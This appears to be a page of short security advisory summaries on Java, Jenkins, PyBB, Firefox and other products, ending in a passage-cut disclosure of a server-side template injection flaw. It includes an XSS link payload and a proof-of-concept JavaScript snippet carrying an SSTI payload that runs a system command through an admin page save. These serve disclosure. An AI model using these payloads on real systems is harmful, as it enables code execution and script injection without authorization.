#java

Attackers with access to the "documentconverterws" API were able to inject serialized Java objects, that were not properly checked during deserialization. Access to this API endpoint is restricted to local networks by default. Arbitrary code could be injected that is being executed when processing the request. A check has been introduced to restrict processing of legal and expected classes for this API. We now log a warning in case there are attempts to inject illegal classes. No publicly available exploits are known.

Jenkins Team Concert Plugin 2.4.1 and earlier does not perform permission checks in methods implementing form validation. This allows attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system. Team Concert Plugin 2.4.2 requires Overall/Administer permission for the affected form validation methods.

Missing permission checks in Jenkins Team Concert Plugin 2.4.1 and earlier allow attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system.

PyBB is an open source bulletin board. A manual code review of the PyBB bulletin board server has revealed that a vulnerability could have been exploited in which users could submit any type of HTML tag, and have said tag run. For example, a malicious `<a>` that looks like ```<a href=javascript:alert (1)>xss</a>``` could have been used to run code through JavaScript on the client side. The problem has been patched as of commit `5defd92`, and users are advised to upgrade. Attackers do need posting privilege in order to exploit this vulnerability. This vulnerability is present within the 0.1.0 release, and users are advised to upgrade to 0.1.1. Users unable to upgrade may be able to work around the attack by either; Removing the ability to create posts, removing the `|safe` tag from the Jinja2 template titled "post.html" in templates or by adding manual validation of links in the post creation section.

Ubuntu Security Notice 6177-1 - It was discovered that Jettison incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to cause a denial of service.

A compromised child process could have injected XBL Bindings into privileged CSS rules, resulting in arbitrary code execution and a sandbox escape. This vulnerability affects Firefox < 70.

An update for jenkins and jenkins-2-plugins is now available for OpenShift Developer Tools and Services for OCP 4.11. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-2048: A flaw was found in the Eclipse Jetty http2-server package. This flaw allows an attacker to cause a denial of service in the server via HTTP/2 requests. * CVE-2022-22976: A flaw was found in Spring Framework. The encoder does not perform any salt rounds when using the BCrypt class with the maximum wo...

In Siren Investigate before 13.2.2, session keys remain active even after logging out.

A stored Cross-site scripting (XSS) vulnerability in Wolters Kluwer TeamMate+ 35.0.11.0 allows remote attackers to inject arbitrary web script or HTML.

### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen. ### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. ### PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=__unique_form_id__]").value; const payload = "{{['id']|map('system')|join}}"; // SSTI Payload const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", "...